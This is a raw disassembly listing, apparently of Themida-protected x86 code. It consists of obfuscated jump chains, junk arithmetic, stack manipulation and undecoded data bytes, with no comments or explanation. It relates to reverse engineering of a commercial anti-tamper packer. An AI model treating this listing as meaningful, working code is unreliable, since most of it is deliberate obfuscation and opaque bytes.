add edi, 151B00FFh
sub edi, esi
jmp loc_4F9D03
; ---------------------------------------------------------------------------
loc_4F9B8E: ; CODE XREF: Themida_:004F8F0Cj
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop esi
jmp loc_4F85FA
; ---------------------------------------------------------------------------
db 81h
dd 556DABE1h, 5CE9811Fh, 89B4C127h, 0E95559CBh, 23F8h
; ---------------------------------------------------------------------------
loc_4F9BC0: ; CODE XREF: Themida_:004FE047j
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
shr eax, 12h
xor eax, ecx
push 7E26h
jmp loc_4FCB23
; ---------------------------------------------------------------------------
aXwsb db 'XWéB\',0
dw 8900h
dd 0E954240Ch, 63DDh, 0E959C831h, 5374h, 348BF289h, 0E7895724h
dd 5025E950h, 0FD010000h, 56AFED81h, 57E93505h, 83FFFFC1h
dd 1C8904ECh, 2474FF24h, 48F5B04h, 24248B24h, 50241489h
dd 0C0ECE99Ch, 1C89FFFFh, 97B95124h, 0BB337F50h, 337F5099h
dd 5783EB81h, 0EB814D33h, 72061BD3h, 494EEB81h, 0CB2929D7h
dd 494EC381h, 0C38129D7h, 72061BD3h, 67C3E9h, 81D60100h
dd 0F07789C6h, 0EE815A34h, 0C640F54h, 0BC7BA52h, 0DAF70F64h
dd 171568h, 4DECE900h, 0ED810000h, 0B42E7C96h, 34FFEB01h
dd 0CCB7E924h, 1487FFFFh, 8B665C24h, 89532404h, 0E9BA52E3h
dd 8114F706h, 937152F2h, 67E95019h, 30000006h, 3C32243Ch
dd 243C3024h, 6866C786h, 37E948B1h, 0B6FFFFCFh, 0B65266A6h
dd 66F3000Dh, 56F5E95Ah, 0CF290000h, 0CF31F931h, 0C15FF931h
dd 0D9F706E9h, 36636853h, 0AAE96553h
db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F9CE3: ; CODE XREF: Themida_:004FC126j
push edx
mov edx, 74AB4A63h
push edx
mov edx, 338D50BAh
shr edx, 4
add edx, 2BC90DCFh
add edx, 4771BBA8h
jmp loc_4FFF0D
; ---------------------------------------------------------------------------
loc_4F9D03: ; CODE XREF: Themida_:004F9B89j
sub edi, 151B00FFh
pop esi
xor ecx, edi
jmp loc_4FC02E
; ---------------------------------------------------------------------------
db 0BEh, 0C2h, 0Bh
dd 0EB81491Ch, 0CAC0F0Dh, 650DE9h, 6EDC000h, 28A5ED80h
dd 240C8BE8h, 2C04C483h, 4D8282Ch, 691F682Ch, 14890000h
dd 0FECEB224h, 80D2F6CAh, 0B3532CC2h, 80D3F63Fh, 0D82806EBh
dd 0E9D0005Bh, 0A33h, 0E969EF80h, 8107h, 240C8B66h, 22268h
dd 24348900h, 5143E954h, 50680000h, 5B24406Eh, 6ABCE9h
dd 4EC8300h, 5E243C89h, 59C2815Fh, 15E5866h, 59EA81F2h
dd 5E5E5866h, 11D8E9h, 52565C00h, 20F1E9h, 5BDE0100h, 4C681h
dd 34870000h, 4744E924h, 0C3310000h, 0FFC954E9h, 66C788FFh
dd 0E924048Bh, 486Fh, 657EEF81h, 0F78168DDh, 1DD356F7h
dd 0A9CAEF81h, 0C181D1C1h, 707649AAh, 0E981F901h, 707649AAh
dd 5F2434FFh, 81E38953h, 4C3h, 4C38100h, 87000000h, 0DCE9241Ch
dd 28000078h, 148B66F7h, 3FFCE924h, 5A540000h, 4C281h
dd 0EA830000h, 24148704h, 2AC2E95Ch, 0E95B0000h, 0FFFFBEEEh
dd 8952B3B0h, 4B951E2h, 1000000h, 41C0E9CAh, 0BE560000h
dd 61A8552Ah, 348BF729h, 0F9A9E924h, 0EB81FFFFh, 560B6991h
dd 0FFC122E9h, 243C8BFFh, 0FFD3E6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F9E59: ; CODE XREF: Themida_:004F758Ej
pop edi
jmp loc_4FCA97
; ---------------------------------------------------------------------------
db 68h
dd 6D09h, 53240C89h, 0B35BB050h, 58C33043h, 0C5FE36B5h
dd 53E0E9h
db 0
; ---------------------------------------------------------------------------
loc_4F9E79: ; CODE XREF: Themida_:004FE610j
mov ebp, [esp]
add esp, 4
jmp loc_501F88
; ---------------------------------------------------------------------------
db 66h
dd 4A66DAF7h, 7CC28166h, 8805667Ch, 0ED2D6647h, 0D0016610h
dd 10ED0566h, 0FFEBABE9h, 66C828FFh, 0E9240C8Bh, 0FFFFC036h
dd 24343359h, 7F1E9h, 66D80000h, 3D236852h, 1C890000h
dd 0B680B324h, 28EE805Dh, 0ACC680h, 93B551DEh, 0F6D4E580h
dd 5ECD80DDh, 607AE9h, 0BA525D00h, 6A54AD1h, 565AD129h
dd 0F389CE89h, 3EA9E9h, 85E98100h, 8150C92Ah, 870C0CE9h
dd 59CE31B1h, 5E1C7721h, 0FFBE05E9h, 8953ADFFh, 4C381E3h
dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 0A34878B8h, 6E0C113h
dd 62172905h, 5E0C14Ch, 2295CC2Dh, 0E9C6019Ah, 0FFFFEB32h
dd 0C5005934h, 82ECE9h, 0F2295F00h, 0BF57425Eh, 0BC581AF9h
dd 0FFEB5CE9h, 4C483FFh, 405h, 9CE95300h, 56FFFFE2h, 4BEh
dd 5EF00100h, 0FFD5EEE9h, 38CF81FFh, 0C152F81Ah, 0EF8705E7h
dd 0EF87D5F7h, 8108E7C1h, 0CF70E6EFh, 0EAC7817Ch, 1689671h
dd 243C8BFBh, 8104C483h, 2EBh, 241C8700h, 0C89665Ch, 0B60F6624h
dd 9C5166C8h, 50F5E9h, 2434FF00h, 4C4835Ah, 22A26866h
dd 24148966h, 0B653B551h, 0E9EE302Fh, 0FFFFC288h, 0E92434FFh
dd 3E9Fh, 35EEE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F9FDE: ; CODE XREF: Themida_:004F6867j
sub ebp, 1D265976h
mov ebx, [esp]
add esp, 4
push edx
mov edx, 7D0337A6h
push edi
mov edi, 25E35B2Ah
or edx, edi
pop edi
add edx, 67524266h
jmp loc_4F890E
; ---------------------------------------------------------------------------
db 28h
dd 0E68058E6h, 80C6FE0Ch, 0F72831EEh, 0E9F8285Ah, 75A6h
dd 0F8685366h, 89000012h, 68662414h, 5A667258h, 0B9665166h
dd 316614DBh, 665966CAh, 665AD389h, 6653CC2Dh, 566D829h
dd 5B6653CCh, 81535266h, 4ECh, 34FCE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FA056: ; CODE XREF: Themida_:00500915j
not esi
shl esi, 6
jmp loc_4FE41C
; ---------------------------------------------------------------------------
dd 4E197A05h, 0E87EE948h, 0F766FFFFh, 0E99C241Ch, 0FFFFBC9Eh
dd 55F668h, 24048900h, 0EC815854h, 4, 0BD242C89h, 3D5A09BDh
dd 0F708EDC1h, 0DC581DDh, 0E9003D5Ah, 0FFFFE3F4h, 24048B66h
dd 0FFE9E5E9h, 815966FFh, 4ECh, 2124E900h, 0F0280000h
dd 6AA8E95Ah, 0BA520000h, 18E277C1h, 2FE2E281h, 0C28110EFh
dd 0EF1DDC40h, 0FF1C5709h, 0E95A2434h, 0FFFFF1DEh
; ---------------------------------------------------------------------------
loc_4FA0D8: ; CODE XREF: Themida_:004FDE01j
add edx, 589FAF81h
sub ebx, edx
jmp loc_4FCEEC
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 0CF805FB7h, 0AEB65236h, 805AF730h, 0FA2884F7h, 0FFC8DBE9h
dd 43E950FFh, 0FFFFC6h, 0C5E95BD9h, 68FFFFE5h, 6AE8h, 0E9241489h
dd 376Fh, 617BE95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FA11E: ; CODE XREF: Themida_:005000ADj
pop ecx
dec edx
shl edx, 7
add edx, 184D2493h
mov esi, edx
pop edx
add esi, 72CB02CDh
shl esi, 5
jmp loc_4F7131
; ---------------------------------------------------------------------------
loc_4FA13A: ; CODE XREF: Themida_:004F7916j
mov edi, [esp]
add esp, 4
xor [esp], edi
xor edi, [esp]
xor [esp], edi
jmp loc_4F94FA
; ---------------------------------------------------------------------------
dw 0EB8h
dd 480A181Dh, 4803E0C1h, 6B47E952h, 315B0000h, 1C33241Ch
dd 576EE924h, 9C500000h, 0FFBBA1E9h, 58C201FFh, 4C2835Dh
dd 2474FF52h, 48F5A04h, 78E95C24h, 0BBFFFFD2h, 2049628Fh
dd 0FFF806E9h, 4C383FFh, 0FFED59E9h, 5E9C1FFh, 5EA6E181h
dd 0E9816077h, 8288F979h, 0FF59CE29h, 48B2434h, 2545E924h
dd 0D9F60000h, 0E9DAC180h, 150Dh
; ---------------------------------------------------------------------------
loc_4FA1C0: ; CODE XREF: Themida_:004FAA7Dj
push dword ptr [esp+4]
jmp loc_4FC9E1
; ---------------------------------------------------------------------------
db 56h, 0BEh, 9Ah
dd 0E915E202h, 0FFFFDECBh, 16E98141h, 898F6EC5h, 0D78959CAh
dd 5FF8015Ah, 5C240487h, 0FF2434FFh, 0E9582434h, 0FFFFD6F6h
dd 815DEF01h, 4C7h, 243C8700h, 596DE9h, 9BEC8000h, 0C480EC00h
dd 0D917E99Bh, 48BFFFFh, 5F545724h, 4BB53h, 0DF010000h
dd 3DFCE9h
db 0
; ---------------------------------------------------------------------------
loc_4FA225: ; CODE XREF: Themida_:00502579j
shr ecx, 2
jmp loc_4FBF61
; ---------------------------------------------------------------------------
db 5Bh, 81h, 0E9h
dd 2E436AD6h, 0E901C183h, 5562h
; ---------------------------------------------------------------------------
loc_4FA23C: ; CODE XREF: Themida_:004FA8F3j
pop edx
add esp, 4
push edi
push edx
jmp loc_501CC0
; ---------------------------------------------------------------------------
loc_4FA24A: ; CODE XREF: Themida_:004F939Aj
mov [esp], ebx
push esp
pop ebx
push 4A0Fh
mov [esp], eax
mov eax, 92B116Dh
add eax, 0F6D4EE97h
add ebx, 392850C9h
add ebx, eax
jmp loc_50171B
; ---------------------------------------------------------------------------
dw 489h
aSW db '$°ÄéÙW',0
align 4
loc_4FA278: ; CODE XREF: Themida_:004FF571j
pop ebp
push 2C3h
mov [esp], eax
push dword ptr [esp]
pop ebx
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
mov eax, [esp]
jmp loc_4FCC35
; ---------------------------------------------------------------------------
dd 4B951h, 81E90000h, 0BD00005Ch, 44237D8Ch, 1AC6E9h, 4EC8100h
dd 89000000h, 68BE2434h, 895FF052h, 0D034E9F1h, 0E95AFFFFh
dd 0FFFFEF86h, 8107E3C0h, 2ECh, 14896600h, 66DE8824h, 0FFB450h
dd 515866E6h, 0EB88F588h, 83240C8Bh, 5A6604C4h, 594AE9h
dd 89E95700h, 0BD000046h, 6EE043Eh, 0F75DE821h, 56ABE9D8h
dd 16B80000h, 0E9401670h, 50D3h, 3005CA81h, 0D2F76DCFh
dd 5AE9D2F7h, 0E9FFFFD7h, 0FFFFB9E6h, 175F89BAh, 47CA8145h
dd 0C10D6626h, 0C28108EAh, 6E690AD9h, 6B00E281h, 0F281358Fh
dd 24860204h, 148BD501h, 4C48324h, 4C581h, 6DE90000h, 66000083h
dd 68240C8Bh, 748h, 89240C89h, 4EC83E1h, 0BF243C89h, 4
dd 4E9F901h, 100000Eh, 57565AD3h, 2BFh, 0F55DE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FA38E: ; CODE XREF: Themida_:00500122j
pop ebx
jmp loc_4FC486
; ---------------------------------------------------------------------------
dd 4C781h, 0C7830000h, 243C8704h, 1013685Ch, 14890000h
dd 0E95A5424h, 1DCCh, 0B95CE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FA3B6: ; CODE XREF: Themida_:004FB791j
xchg esi, [esp]
pop esp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_4FEE5B
; ---------------------------------------------------------------------------
dd 0FFB945E9h, 4C781FFh, 0E9000000h, 0FFFFCA1Dh
; ---------------------------------------------------------------------------
loc_4FA3D8: ; CODE XREF: Themida_:004FDA3Cj
pop ebp
mov dword ptr [edi+24h], 640B6F2Eh
sub [edi+24h], ecx
pop ecx
xor edx, edx
jmp loc_4F6C75
; ---------------------------------------------------------------------------
loc_4FA3EB: ; CODE XREF: Themida_:004FE425j
pop esi
add ebx, edx
pop edx
jmp loc_4F93E6
; ---------------------------------------------------------------------------
dd 895FFE01h, 0E8315EF5h, 83242C8Bh, 0E95204C4h, 1143h
dd 805AD108h, 0C82884E9h, 0E9C18859h, 4012h
; ---------------------------------------------------------------------------
loc_4FA418: ; CODE XREF: Themida_:004FDCC0j
sub dword ptr [esp], 1EF90130h
push esi
mov esi, 634F64AFh
add [esp+4], esi
pop esi
push edi
mov edi, 7043243Bh
jmp loc_4FB28C
; ---------------------------------------------------------------------------
db 8Bh, 3Ch, 24h
dd 4C481h, 0C4810000h, 4, 4C781h, 0BD550000h, 11CA1EF5h
dd 0FFE106E9h, 82BE56FFh, 1FB0215h, 0E8E95EF0h, 0FF000020h
dd 46E92434h, 81000056h, 0DA726FEDh, 0C5835B3Fh, 3DE95502h
dd 89000022h, 0F58159CDh, 2FCC4589h, 7CD7ED81h, 0ED816033h
dd 516E5039h, 0BF06E953h, 77E9FFFFh
db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FA49B: ; CODE XREF: Themida_:004FE682j
add ebp, 4
jmp loc_4F6D61
; ---------------------------------------------------------------------------
dw 565Dh
dd 0FFBB15E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FA4AD: ; CODE XREF: Themida_:004F957Ej
pop ebp
pop dword ptr [esp]
mov esp, [esp]
loc_4FA4B4: ; CODE XREF: Themida_:00500682j
push 55BCh
mov [esp], esi
push ebx
jmp loc_4FFFD1
; ---------------------------------------------------------------------------
dw 0BB53h
dd 74EC12FFh, 535BD989h, 0F8606ABBh, 0BB7AE94Eh, 0EA81FFFFh
dd 4C715BE7h, 0FFC7EFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FA4E1: ; CODE XREF: Themida_:004F7BF7j
add eax, esi
mov esi, [esp]
add esp, 4
sub edx, eax
jmp loc_50096A
; ---------------------------------------------------------------------------
loc_4FA4F0: ; CODE XREF: Themida_:004F76ABj
pop ebx
sub edi, 4
xchg edi, [esp]
jmp loc_4FE814
; ---------------------------------------------------------------------------
db 57h
dd 7B240481h, 0E9344412h, 1351h
; ---------------------------------------------------------------------------
loc_4FA50C: ; CODE XREF: Themida_:004F8A17j
xor esi, [esp]
xor [esp], esi
mov eax, [esp]
push esi
jmp loc_4FB316
; ---------------------------------------------------------------------------
db 89h
dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2414895Ch, 0AA694268h
dd 0C14A5A52h, 0DAF703E2h, 0AE0CF281h, 0D5092917h, 4AE5815Ah
dd 81079E19h, 7D3CF2CDh, 0A7F58113h, 890FF29Dh, 0C77FE9EFh
dd 0CF81FFFFh, 3DB4FB8h, 8102EFC1h, 821F3EE7h, 6FEF8119h
dd 1F95AE9h, 0EAE95FFBh
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FA57B: ; CODE XREF: Themida_:004FB5EDj
add esp, 4
and eax, esi
jmp loc_4F9091
; ---------------------------------------------------------------------------
loc_4FA588: ; CODE XREF: Themida_:0050136Fj
sub ecx, esi
pop esi
push esi
push eax
push ecx
add dword ptr [esp], 23CC0C7Ch
pop eax
sub eax, 23CC0C7Ch
push eax
mov esi, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
mov eax, esi
jmp loc_4F8599
; ---------------------------------------------------------------------------
dw 0BF57h
dd 6FD3676Fh, 42354505h, 2DF80147h, 47423545h, 4E51055Fh
dd 0D8016464h, 6AA6E957h, 0C3800000h, 5BDA8831h, 0E951DAF6h
dd 19EEh
; ---------------------------------------------------------------------------
loc_4FA5E0: ; CODE XREF: Themida_:004FEDE8j
or eax, eax
jz loc_4F8E86
push dword ptr [edi+1Ch]
mov ecx, [esp]
jmp loc_4FB749
; ---------------------------------------------------------------------------
loc_4FA5F3: ; CODE XREF: Themida_:004F8BECj
pop esi
add esi, 4
push ebx
mov ebx, 4
jmp loc_4FC5BB
; ---------------------------------------------------------------------------
loc_4FA605: ; CODE XREF: Themida_:004FC6A4j
pop edx
jmp loc_4FC03F
; ---------------------------------------------------------------------------
db 66h
dd 2404A30Fh, 0B6FCE99Ch, 4BAFFFFh, 81000000h, 4A0DE8C5h
dd 52D52916h, 4A0DE8BAh, 5AD52916h, 126DE95Ah, 50420000h
dd 62BB5351h, 81504029h, 0DBE8C9EBh, 0E9D98912h, 0B19h
dd 0D690E95Ah, 815FFFFFh, 711B83C7h, 2C8B570Ch, 4C48124h
dd 5F000000h, 0EC5E581h, 0E5C15E58h, 0CEED8106h, 532284DBh
dd 5D5D6DBBh, 5BD8293Ah, 6D05E801h, 8B3A5D5Dh, 0C483242Ch
dd 68565204h, 12E2h, 16B2E9h, 0B67CE900h, 0E955FFFFh, 7821h
dd 240C8B66h, 1EF68h, 4B07E900h, 34310000h, 24343324h
dd 0A35E9h
db 0
; ---------------------------------------------------------------------------
loc_4FA6B5: ; CODE XREF: Themida_:004FAA3Fj
pop esp
jmp loc_4F7B52
; ---------------------------------------------------------------------------
loc_4FA6BB: ; CODE XREF: Themida_:004F7522j
add esp, 4
and ecx, ebp
pop ebp
shr ecx, 7
jmp loc_4FD1B2
; ---------------------------------------------------------------------------
dd 4205EAC1h, 4161B951h, 0F18145C5h, 14DA541Ch, 0E981D9F7h
dd 0F8F7295h, 0FFDA69E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FA6E9: ; CODE XREF: Themida_:004FE7ADj
xchg ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_5025EF
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 0E2895224h, 0ACBD5556h, 0E92E906Ah, 37F5h
; ---------------------------------------------------------------------------
loc_4FA708: ; CODE XREF: Themida_:004F8AD1j
add esp, 4
jmp loc_4F84AF
; ---------------------------------------------------------------------------
loc_4FA713: ; CODE XREF: Themida_:004F78E5j
pop ecx
shr esi, 1
add esi, 459C7C2Ah
jmp loc_4FEAE4
; ---------------------------------------------------------------------------
db 0C1h, 0E1h, 4
aBsAjS db 'éµA¦ÞéÃ',9,0
dw 0AC00h
aFrK db 'fR¶k',0
db 0F0h, 66h, 5Ah
dd 0DEE9FD04h, 83FFFFDFh, 48904ECh, 0E9E08924h, 7EEAh
; ---------------------------------------------------------------------------
loc_4FA74C: ; CODE XREF: Themida_:00502584j
pop esp
jmp loc_4F63F9
; ---------------------------------------------------------------------------
loc_4FA752: ; CODE XREF: Themida_:004FD0C3j
add esp, 4
jmp loc_4FFC79
; ---------------------------------------------------------------------------
loc_4FA75A: ; CODE XREF: Themida_:004FA9E1j
xor edx, ebp
pop ebp
jmp loc_4FD76E
; ---------------------------------------------------------------------------
loc_4FA762: ; CODE XREF: Themida_:004FE0DFj
mov [esp], edx
jmp loc_4FD1DF
; ---------------------------------------------------------------------------
dw 0E959h
dd 0FFFFB983h
; ---------------------------------------------------------------------------
loc_4FA770: ; CODE XREF: Themida_:004F8607j
push dword ptr [esp+4]
pop esi
jmp loc_4FED18
; ---------------------------------------------------------------------------
dw 0EC83h
dd 240C8904h, 75762BB9h, 60E95062h, 4000041h, 0EC835ABAh
dd 241C8904h, 0B252BCB3h, 0E9D3306Ah, 0FFFFC041h, 0B1EE815Eh
dd 8953A91Dh, 7437E9F2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FA7AE: ; CODE XREF: Themida_:00500526j
jmp loc_4F5D12
; ---------------------------------------------------------------------------
loc_4FA7B3: ; CODE XREF: Themida_:004F9A13j
sub ecx, esi
jmp loc_4F5F8E
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 4C48124h, 1000000h, 24048BC2h, 0E904C483h, 94Fh, 815F5457h
dd 4C7h, 4EF8300h, 5C243C87h, 54241C89h, 0D7E6E95Bh, 48DFFFFh
dd 7E31E987h, 0C9FE0000h, 0E904E1C0h, 37EFh, 0E9D5015Fh
dd 0FFFFDBE9h, 0E9241C89h, 4291h, 8702C083h, 0D35C2404h
dd 0E99C2404h, 0FFFFB4F6h, 92E95966h
db 43h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FA823: ; CODE XREF: Themida_:004F74D6j
mov eax, ecx
pop ecx
sub esp, 4
mov [esp], edi
jmp loc_4FE292
; ---------------------------------------------------------------------------
dd 4BBh, 43E50500h, 2C050C91h, 13C4825h, 6DDE9D8h, 0B5680000h
dd 89000039h, 65E92414h, 0FF000047h, 669D1C77h, 2414D359h
dd 0B4ACE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FA866: ; CODE XREF: Themida_:004F9B76j
sub ecx, 661969FBh
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5018E4
; ---------------------------------------------------------------------------
db 0BFh
dd 6DF809CDh, 16B4E781h, 0C7813437h, 7F442B2h, 295FFB29h
dd 36BF57D3h, 12C2443h, 35E95FFBh, 66000058h, 0E95FB652h
dd 0FFFFF557h, 7BE9FE09h, 0FF000009h, 51582434h, 0C181E189h
dd 4, 8904EC83h, 4BA2414h, 81000000h, 2C6099E9h, 81D10122h
dd 2C6099C1h, 563E922h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FA8DA: ; CODE XREF: Themida_:004FCFEEj
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
add dword ptr [esp], 6FA574FEh
pop eax
sub eax, 6FA574FEh
push dword ptr [esp]
jmp loc_4FA23C
; ---------------------------------------------------------------------------
loc_4FA8F8: ; CODE XREF: Themida_:004F8FF3j
pop ecx
mov ebp, ebx
mov ebx, [esp]
add esp, 4
inc ebp
xor ebp, 0E770F712h
push ebp
jmp loc_4FDFD1
; ---------------------------------------------------------------------------
loc_4FA90E: ; CODE XREF: Themida_:00500CA0j
pop esi
push edx
push esp
mov edx, [esp]
jmp loc_4FF46C
; ---------------------------------------------------------------------------
db 8Bh, 2Ch, 24h
dd 3C8B5457h, 4C48124h, 81000000h, 4C7h, 4C78300h, 31243C33h
dd 3C33243Ch, 51BCE924h, 815A0000h, 560D1DC2h, 76568D5h
dd 14890000h, 40B85024h, 3158550Ch, 58042444h, 40F6815Eh
dd 5A58550Ch, 6165CE81h, 0EC813F1Eh, 4, 0B9240C89h, 4AAB3700h
dd 5559CE31h, 173305BDh, 0E9EE297Fh, 7C93h, 543764BAh
dd 0E9D5093Dh, 45F6h, 0C304C483h, 0FFB379E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4FA999: ; CODE XREF: Themida_:004FE600j
pop eax
pop dword ptr [esp]
jmp loc_4FC9CA
; ---------------------------------------------------------------------------
loc_4FA9A2: ; CODE XREF: Themida_:004FC317j
add edx, ecx
pop ecx
xchg edx, [esp]
jmp loc_5022CB
; ---------------------------------------------------------------------------
db 81h, 0C3h, 8Fh
dd 0E9C7DCD7h, 0FFFFE559h
; ---------------------------------------------------------------------------
loc_4FA9B8: ; CODE XREF: Themida_:004F7869j
or ebx, edx
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 6261168Ch
shr eax, 8
neg eax
or eax, 553D5DA9h
push edx
push ebp
mov ebp, 60EC394Eh
mov edx, 8B6246Bh
jmp loc_4FA75A
; ---------------------------------------------------------------------------
dw 0E956h
dd 34Ah, 8003E5C0h, 0ED80EEC5h, 59EB00F9h, 66C0B60Fh, 0E987048Fh
dd 0FFFFB30Eh
; ---------------------------------------------------------------------------
loc_4FAA04: ; CODE XREF: Themida_:004F6DBCj
push ebp
mov ebp, 508B5AC6h
inc ebp
xor ebp, 6E5F6BD0h
and ebp, 4B0D5B14h
add ebp, 0F5FBEEEEh
sub esi, 2F087D88h
jmp loc_4F9474
; ---------------------------------------------------------------------------
aSP_zSj_ db 'S»¯_§]éj_',0
db 0
; ---------------------------------------------------------------------------
loc_4FAA33: ; CODE XREF: Themida_:004FF2CBj
add edi, ebp
sub edi, 23981C28h
pop ebp
xchg edi, [esp]
jmp loc_4FA6B5
; ---------------------------------------------------------------------------
loc_4FAA44: ; CODE XREF: Themida_:00500159j
pop ecx
sub ebp, 643869C2h
add ebp, edx
add ebp, 643869C2h
pop edx
xor ebp, 34A4E234h
sub [edi+24h], ebp
push dword ptr [esp]
pop ebp
add esp, 4
loc_4FAA67: ; CODE XREF: Themida_:004FAC47j
push esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
jmp loc_4FAF58
; ---------------------------------------------------------------------------
loc_4FAA7B: ; CODE XREF: Themida_:004FEA91j
pop eax
push edx
jmp loc_4FA1C0
; ---------------------------------------------------------------------------
loc_4FAA82: ; CODE XREF: Themida_:004FD861j
xor ecx, [esp]
pop esp
push dword ptr [esp]
pop eax
push 3A05h
mov [esp], esi
mov esi, esp
push eax
mov eax, 0D886C3Ch
jmp loc_4FB366
; ---------------------------------------------------------------------------
db 0ADh
dd 33E3B951h, 9DE92D96h, 50FFFFD3h, 0FFDAB6E9h, 241C8BFFh
dd 8104C483h, 4C4h, 0B250E900h, 0E955FFFFh, 48EAh
; ---------------------------------------------------------------------------
loc_4FAAC8: ; CODE XREF: Themida_:004F71E5j
pop edi
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 33CA30B7h
jmp loc_4FDA34
; ---------------------------------------------------------------------------
aSuc db '\éUC',0
dd 4721BA00h, 0C281742Ch, 4A4D78ACh, 4330E281h, 0EA814678h
dd 0A8F8918Ch, 148BD501h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_4F8621
; ---------------------------------------------------------------------------
loc_4FAB15: ; CODE XREF: Themida_:00502457j
push ebx
mov ebx, 194D6FE3h
jmp loc_4F62E1
; ---------------------------------------------------------------------------
dd 0E904C483h, 5DBAh, 0E924048Fh, 36D8h
; ---------------------------------------------------------------------------
loc_4FAB30: ; CODE XREF: Themida_:004F6488j
push 5F91h
jmp loc_4F7BBD
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 0E2895224h, 4C281h, 0C2830000h, 7225E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FAB4E: ; CODE XREF: Themida_:00500E89j
or eax, 636255E3h
xor eax, 77743688h
xor eax, 343C0699h
and eax, 5743530Eh
neg eax
sub eax, 9B08D69Dh
xor ebp, eax
pop eax
add ecx, ebp
pop ebp
add ecx, 4
xor ecx, [esp]
jmp loc_4FD85E
; ---------------------------------------------------------------------------
db 0F7h, 0E9h, 68h
dd 1BD1h, 0E9241489h, 0FFFFF5DEh, 80C6B151h, 0F18013E1h
dd 0E9CB00D1h, 359Dh, 4B85059h, 0E9000000h, 0FFFFD251h
dd 28B8h, 163F2D00h, 0F80114B1h, 0B1163F05h, 58188814h
dd 0FFF25DE9h, 240400FFh, 77FFE99Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FABCA: ; CODE XREF: Themida_:004FE584j
mov ebp, esp
add ebp, 4
push ecx
push edx
mov edx, 78182F01h
push edx
mov edx, 4E487D21h
jmp loc_4F6EE9
; ---------------------------------------------------------------------------
loc_4FABE4: ; CODE XREF: Themida_:004FF367j
add ebp, 666713BBh
sub esp, 4
jmp loc_4FDA7E
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 241C895Ch, 6FE9E389h, 89000035h, 0F0B82404h, 0D78FF7Eh
dd 784A30FCh, 124EE992h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4FAC16: ; CODE XREF: Themida_:0050057Fj
push 178Bh
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
push 7F10h
mov [esp], esi
mov esi, 4
add ecx, esi
pop esi
xchg ecx, [esp]
mov esp, [esp]
shr ecx, 0
or eax, eax
jz loc_4FAA67
push ebx
push edi
jmp loc_4FFE6B
; ---------------------------------------------------------------------------
dd 8324048Bh, 343304C4h, 4F1EE924h, 0BB660000h, 4AE98BC8h
dd 89000001h, 0E589242Ch, 1B2EBA52h, 9DE92E12h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4FAC7B: ; CODE XREF: Themida_:004F69BAj
pop edi
jmp loc_4FB3E2
; ---------------------------------------------------------------------------
loc_4FAC81: ; CODE XREF: Themida_:004F6708j
pop edi
add edi, 54A90B51h
dec edi
jmp loc_4FB563
; ---------------------------------------------------------------------------
dw 8B66h
dd 0B9682404h, 8900005Fh, 0E2892414h, 4C281h, 53510000h
dd 126BD9BBh, 43DBF746h, 8107EBC1h, 73DB26EBh, 0FF595301h
dd 835B2434h, 0CA0104C4h, 744FE9h, 58C32900h, 0E9241C87h
dd 6E0Dh, 0C781E789h, 4, 0E904C783h, 6CA0h
; ---------------------------------------------------------------------------
loc_4FACE0: ; CODE XREF: Themida_:00501529j
push edi
jmp loc_4FD057
; ---------------------------------------------------------------------------
loc_4FACE6: ; CODE XREF: Themida_:004F6D20j
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
push ebp
mov ebp, 4
add eax, ebp
pop ebp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
xor eax, 20574B3Eh
push edx
push 73CFh
mov [esp], esi
push 4CA63B58h
pop esi
add esi, 7C015086h
push ebx
mov ebx, 0C8A783DEh
jmp loc_4FF90A
; ---------------------------------------------------------------------------
loc_4FAD30: ; CODE XREF: Themida_:004FC040j
push esp
jmp loc_4FF449
; ---------------------------------------------------------------------------
dw 0E689h
dd 4EC81h, 4890000h, 7D90B824h, 0D8F776B2h, 0FFFD75E9h
dd 4C481FFh, 81000000h, 4ECh, 24148900h, 0BD55E289h, 4
